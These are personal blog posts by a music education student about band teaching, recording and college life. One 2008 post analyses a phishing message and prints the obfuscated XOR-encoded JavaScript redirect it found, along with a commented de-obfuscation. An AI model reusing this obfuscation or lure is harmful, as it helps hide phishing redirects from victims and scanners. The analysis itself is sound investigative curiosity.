Sunday, October 4, 2009

Summer and the Start of a Series

Greeting to all, and a belated happy start to the school year!

The past several months found me with another year teaching beginning summer band, which was by far my summer's highlight. I had the rowdiest group of trombones I've ever had, but they did great and learned a lot. I'll tell more tales as time wears on.

For the time being, I want to announce a series of posts for people either looking at becoming music education majors or early on in their undergrad. Topics include:
  • Why the piano is important
  • What to expect (and not to expect) in your first couple years
  • How to stuff 30 hours into a 24-hour day (kind of)
  • Why instrumentalists should learn how to sing and vocalists should learn how to play
  • How to pass Music Theory I and why that's the hardest class you might take
'Til then,
-Greg

Thursday, May 28, 2009

Off the Cliff

I've said before that coming into a vacation can be like those moments in IMAX movies where they have a helicopter going over a cliff - at first, there's ground rushing underneath you, but then when it goes over the edge, "FOOSH!" You're flying, the panorama stretches out before you, and there's hundreds of feet of nothing below you.

Finals finished several weeks ago, and I'm finally getting over the feeling of having nothing beneath my feet. Thankfully, I've survived this one pretty well; there have been times in the past where, in going over the cliff, I tripped and faceplanted in the scenery below, so to speak, but I've had to hit the ground running this time for a number of reasons.

First, housing has been keeping me on my toes; due to circumstances out of my control, I found myself in the situation of having five days to find a place to live for the next 12+ months (this was during finals week, by the way), but because I put out so many feelers, I've become somewhat of a real estate agent for other people in my situation. Since everyone I'm working with is a friend, or at least a good acquantence, it's rewarding to know that good people are getting good prices for good housing and good roommates.

Second, reentry into real life has been mitigated by the fact that I'm working three jobs this summer. More on this in another post.

Finally, I'm living on my own now! I've got a nice apartment in a nice neighborhood, and even having to cook for one's self keeps a person connected to reality and unable to just slip into a post-finals catharsis.

So, I'm back in the game, and I've already got a bunch of posts that I'm excited to post and share with the community. Major congradulations to this year's graduates, sure to do great things in their futures; I'm honored to know you all.

'Til next time,
-Greg

Wednesday, March 18, 2009

I know college kids need energy...

I just finished a recording session, number 5 out of 6 for the band this year, and as I was walking back to my dorm, I happened to see something through someone's window. The scene was this: two guys, sitting at their respective desks, looking like they were in for a long night of paper-writing or study. One guy is on his computer, and the other is (and I am not making this up) drinking honey out of the bottle.

Well, that's one way to pull an all-nighter without caffeine.

Friday, March 13, 2009

Second-Graders, Teachers, and Rock Bands

I picked this up on the ASCD SmartBrief today - an article on second-grade classrooms using Twitter. Two thoughts jumped into my head right away: first, my teachers always encouraged us to "write long." I know that I may tend to do this too much in my blog posts, but have you ever tried limiting an idea or two to 140 characters? It's tough! Second, I'll bet you dinner that if those kids thought Twitter was "cool" or "hip" to begin with, they sure don't now. Imagine this scenario:

Guy: I've been working out...
Girl: Ooh!
Guy: ... for gym class.
Girl: Oh...

Magically, the mention of class, a teacher, or an adult makes the once-cool action remarkably less so, and I wonder if rock band classes have the same effect. I know that this isn't always the case - in high school, we loved when our director would jam with us after school - but showing kids that adults are okay with the internet almost seems like the best way to turn kids off from the idea.

Happy weekend,
-Greg

Monday, February 2, 2009

Reflection in Music Engineering

I have about a month left to finish my work on Concordia's Beat, which, now that everyone's been recorded, involves the mixing and mastering all 14 groups. I've already made seven pretty good rough mixes, and hopefully, the patch bay I installed this weekend will help with the other half.

As part of this, I went and revisited some old mixes I had made as I was first recording these tracks and was surprised at how much I had learned in just these last couple months. I was using compressors and limiters in very strange ways, I wasn't using the better of the plugins we have, I was cranking the gain in odd places, and overall, I was complicating the overall work flow. Not surprisingly, simplifying that made for an overall better sound - punchier and more natural.

I've also been happily using an old Aphex Aural Exciter that the project supervisor found at a local music store for cheap. The difference in my mixes when I use it right is like listening to a group live or with my coat over my head. I'll have to post some before-and-after demos some time.

'Til then,
-Greg

Wednesday, December 31, 2008

Semester Five of a Music Ed Student: Part II

In the past, I've had the nasty habit of holding this pattern : waste time in the beginning of the year and become overloaded with stress towards the end. This year was the end of that! Or, rather, the beginning of the end of that - this habit, like any, will take time to develop.

So what did I do to cut my stress? First, I got as far ahead as I could in all my classes and other responsibilities right off the bat. This was a huge blessing with my Counterpoint class; it's known for being a real beast and for people pulling long, difficult hours on their projects, but in reality, we were given plenty of time to do everything so long as we don't start the day before it's due. (Funny how that works out, isn't it?) My main goal was to finish, or at least get the best head of steam I could, on everything on the day it's assigned. All too often, the average college kid will begin something the day (or night) before it's due, so since it can be done in a day, I put it on the front end and thus spread out, minimized, and managed my stress, avoiding distress and maintaining eustress. Basic when it comes down to it, yes, but it really works.

Secondly, I took some advice and avoided the "teacher's lounge." In the music building, there are a set of flesh magnets called "the couches" that are kind of like the monkey bars: it's where all the cool kids hang out. It also happens to be the best place to get swamped in gossip and the worst place to be productive. Nothing against the couch-dwellers themselves, cool people in their own right, but when I stopped spending time there, I was more productive and more positive. More out of the social loop? Sure, but gossip won't help you with finals.

Finally, I dedicated time for sleep. I set hard limits for when I would make myself turn in, hard limits for how early I could get up, and tried to get no fewer than 7 hours of sleep. Many college students would wonder at the potential for so much sleep every night, but I found that if I made that a priority, other things just worked out around it. The flaw in this plan was that a series of concerts and tours put the people in both band and orchestra about two weeks behind in our classes going into finals, so I spent some late nights getting work done, but boy, could I tell the difference! I don't know how I had gotten this far on such little sleep, because seeing the difference back-to-back really made it that much more obvious that good sleep can be just as important as good study. The trick is finding the balance. (As an aside, I tried working my butt off for six days and doing squat-nothing on Sunday aside from Church, and I found that that's not enough time off; my body can't unwind that much in a healthy way in only a day. A lighter load overall really does the trick, plus an easy-going-but-still-productive Saturday to complement the God-family-and-friend-oriented Sunday)

For those in or just entering college : your mileage may vary, but I hope this helps.
For those of you working types, I'm curious : does reading this prove to you that 18-to-20-somethings are more alike or different than "in the day?"

Thanks, and a belated happy new year!
-Greg

Friday, December 26, 2008

Semester Five of a Music Ed Student: Part I

This by far was my strangest semester - Three of my classes took the last month off, and I had five juries. Let me explain:

Juries first: my major and minor instruments each had one (trombone and organ, respectively), I had a jury for my percussion methods class, I accompanied someone's jury, and I had a conducting final. (sure, these last two might not really count as juries, but the conducting was for a grade, and the accompaniment was during an official jury time)

Now, the three classes that took the month off were two education classes and a counterpoint class. For Counterpoint, the month was to be spend composing a two-part Bach invention that followed a long set of guidelines and, naturally, followed all the rules of eighteenth-century counterpoint.

The ed classes, however, require some explanation to make my next point.
  • Students were to log all their clinical hours during the semester, and the scheduling would have to work around their already-existing classes
  • The instrumental methods course was one block long. That means that everything about how to teach band and orchestra and jazz band, marching band, and everything else, in half a semester.
The new system proved to be much more accommodating to the needs of your average college student:
  • Half of the clinical hours are done in the summer; nonetheless, most people I talked to actually logged two to three times the required ammount for various reasons.
  • For the remaining hours, the last month is set aside not only to give the students some breathing room in their schedule, but also to go more in-depth with planning for and following through with instruction
  • The instrumental methods course was expanded to a whole semester, to allow not only for that last month, but also to spend more time on everything, to talk about music ed advocacy and to write a personal philosophy of music education, and to give more time for all this information to sink in.
The moral to all of this, for all the teacher educators and all those in charge of scheduling, is that the best gift you can give a music ed student is the gift of time. This post is dedicated to the people responsible for making this transition possible; my hat goes off to you.

A restful break to everyone, and best wishes for this next semester,
-Greg

Thursday, December 25, 2008

Merry Christmas!

Whether you don't yet know or you just need a reminder, I refer you all to a short kid with a blue blanket.

http://www.youtube.com/watch?v=DKk9rv2hUfA

Merry Christmas, everyone. May your travels be safe and your time blessed.
-Greg

Friday, December 19, 2008

Fall Semester Recap

Wow, this has been a wild ride. The semester has flown by, and possibly been one of the busiest yet.

Some notable aspects of these past 4 months that I hope to cover in posts to come:
  • Out of all my classes, I didn't have any finals.
  • Out of all my classes, three of them took the last month off to work on large projects
  • I had five juries
  • I wore a unit plan on composing electronic music that I hope to revise and see used with a friend who is teaching in the Fargo public schools
  • I changed how I work
  • I stopped sitting at "The Couches"
  • I have become a better recording engineer
What I'm planning on doing this Christmas break:
  • Do lots of cross-country skiing
  • Spend time with my brothers
  • Write music
  • Blog
  • RELAX!!!
And I have these coming at me this next semester:
  • Becoming a better studio engineer
  • My first academic course (in the traditional sense) since perhaps freshman year
  • A semester of percussion lessons to reinforce and expand what I learned in my percussion methods class
  • The last semester for many of my very good friends; I'll miss them more than I can say
In the mean time, it's time to get a late lunch and do some of that relaxing I was talking about.
Merry Christmas,
-Greg

Thursday, September 18, 2008

Beans in my Drumsticks

Really, I think there are jumping beans in the tips of my drumsticks; they won't stay still! I'm in a brass and percussion methods class that meets four days a week, essentially two days brass and two days percussion. Anyhow, we're working on rudiments and sticking right now, having gone through all the pitched percussion instruments in, oh, a week, and there's never a time where I don't want to play. That is to say, I always want to do something! Sound like any percussionists you know? Sound like your whole percussion section?

Anecdote : I taught a day of percussion this summer because we were down a teacher. They were playing wipe-out, and I was trying to get them to understand that if they practice the solo slowly, they'll be better when they speed up. You can imagine how a bunch of 6th-graders took that. :)

The funny thing is, though, my whole class is like this. Even in brass methods, these fine college musicians lost all sense of basic things like rhythm when they got a trumpet in their hands. It was like we were all 5th-graders again.

This has really got me thinking about how much we criticize our beginning students for doing things out of turn or for making annoying noises; the fact of the matter is this : it's a lot of fun to make new noises, whether you're 10 or 100. I know that it's a matter of courtesy for people around you and for the general good of the order that we restrain ourselves, but gol, it's fun to just play around.

I'll write more about this insane semester when I get a chance.
Peace out,
-Greg

Tuesday, August 12, 2008

What's your secret?

Returning to this blog's founding idea of being "comprehensive" or "total," I wanted to reflect on a thought, share a story, and ask a question.

Tell me if I'm off-base...

Teachers often get put into boxes. If you have a math problem, you ask the math teacher. If you have a question about history, you ask the history teacher. If you want music, you ask the music teacher. But teachers don't end at their subjects; simply through living, people tend toward diversity of interests and abilities, and those often go unsung because the subject never really comes up.




Storytime...

Before I wanted to be a music teacher, I wanted to be a software engineer, and the decision to switch is another post altogether. Anyway, when I got this message the other day, I had to figure out what was up:



Hey ;) You have a secret crush.
Can you guess who it is??
Go Here to find out:
http://insert prefix here.blogspot.com



The URL naturally went to a phishing site, and the person from whom I got this had had her account compromised, and this was spread to the top half of her contact list, each person with their own prefix in the URL (just some junk characters).

Now, since a blogspot.com address led to a phishing site, there must have been some trickery going on to the tune of redirection. To see where to and what else was happening, I needed to get at the page source for that blogspot page, but since it redirected me, I had to use "curl" (would have used "wget" if I was on linux; I like it better than curl) to dump the page's HTML to my terminal. Turns out there was a block of javascript code that looked like total garbage...


var wevoswe='rhsjluaenoakbkewrt',mneuf='aqvngcwnsjhc',rbgmtdy=0,frlbdef,lsqato,shucocy='%',
ugvqrj='rjweepocopg',hjsvwhe='4e1b101805051545020e0f0c170a02124f563809050b3f16130c1e1b4
35515020b131d035c1c1c1a42190e060f1b08040c450d0517125248534a4c5541455348091f161b5f585d15
101b050e0a115952400c0e064550595801170001031e52',lnmxsi=wevoswe.length,llhix='sodjlhmmu',
vnxkjbo=hjsvwhe.length,lsqato='',elyuimo,riflms,xqulosji,jrsqpbkq,cykogimg;
for(frlbdef=0;frlbdef<vnxkjbo;frlbdef+=2){jrsqpbkq=unescape(shucocy+hjsvwhe.
substr(frlbdef,2));elyuimo=jrsqpbkq.charCodeAt(cykogimg);mneuf=ugvqrj+llhix;
riflms=wevoswe.charCodeAt(rbgmtdy++);ugvqrj=mneuf+wevoswe;xqulosji=elyuimo^riflms;
lsqato+= String.fromCharCode(xqulosji);if(rbgmtdy>=lnmxsi)rbgmtdy=0;}
document.write(lsqato);



Basically, it's been scrambled. The variable names have been obscured so as to not give hints of what's going on, and it's made to look as unreadable as possible. After some work in VI, though, it came to look like...


var w='rhsjluaenoakbkewrt', // a "key" for a lewis-carroll-like cipher
lenW=w.length,
rb=0, // an index through var. w
i, // iterator for a loop
doc, // document to write at the end
percent='%', // something to hold the escape character
m='aqvngcwnsjhc', // why is this even getting initialized?
str='rjweepocopg', // does this do anything? red herring?
str2='sodjlhmmu', // does this do anything? red herring?
long='4e1b101805051545020e0f0c170a02124f563809050b3f16130c1e1b435515020b131d035c1
c1c1a42190e060f1b08040c450d0517125248534a4c5541455348091f161b5f585d15101b050e0a11
5952400c0e064550595801170001031e52',
longLen=long.length,
doc='', // initialize blank document?
base,
power,
bignumber, // big number to be catted to document? - actually, no
tmpchar,
useless; // never initialized, just used... default=0?

for(i=0;i<longLen;i+=2) // work our way through 'long' 2 chars at a time
{
tmpchar=unescape(percent+long.substr(i,2)); // decode every two chars
base=tmpchar.charCodeAt(useless); // get unicode of tmpchar
m=str+str2; // concatenate? red herring?
power=w.charCodeAt(rb++); // get unicode of w
str=m+w; // concatonate? red herring?
bignumber=base^power; // bitwise operator?
doc+= String.fromCharCode(bignumber); // decode from unicode
if(rb>=lenW)rb=0; // reset counter for shorter 'key' string
} // for

document.write(doc); // write it to where?



Sorry, I lost the indenting... I don't think blogger lets you keep it.

I've worked with C and Java, but not Javascript, so there were some places where I was a bit confused, but it's basically a way to decode a string and make the browser deal with it. What happens, if you don't want to look through the comments, is it starts with a key and a code, w and long respectively. The code is actually a bunch of hex escape codes with the delimiters taken out, so the first step is to decode those and turn them into letters. Then, a character is taken from the key, matched up with the corresponding letter in the code, and an operation is done on them to get the real letter. The fact that it uses a passphrase and not just a constant value as a key reminds me of polyalphabetic ciphers like the Lewis Carroll cipher, as my Dad will likely remember it from the science fair project on codes and ciphers from my early elementary school days. Anyway, I'm pretty sure the operator is a
bitwise xor operator
and not an exponent function, but in the end, you get your message.

And what is this message? It turns out that what it gives the browser (because document.print() prints to the main frame, I think) is a small script to redirect the browser to another website. What was going on on that other website, though, will stay a mystery because before I could get back and grab the html from it, someone had taken it down and it just forwards to a 404 page for what sounds like the hosting server for a bunch of phishing scams.

The hunt ended there, but it was fun to try my hand again at code hacking. The last time I did anything like this, it was a port over to my old Mac LC-something, redoing the save system and getting rid of all the myriad gotos and parallel arrays in a really fun game done in C by Griffin Knodle called "Bad King," an early project of his. But getting those neurons firing again was just like getting back on an old bike; the syntax may have changed a little, but the process itself never really left me, and it was still as fun as ever.




So now for the question, you who either read all that or skipped down here : what gets put outside your box? What don't people expect you to do? Are you glad you're in this box rather than the other? Do you ever get to use both boxes?

Well, I'm back to music history (mmmm... Wagner) until the next phisher tries messing with this band teacher. :)
-Greg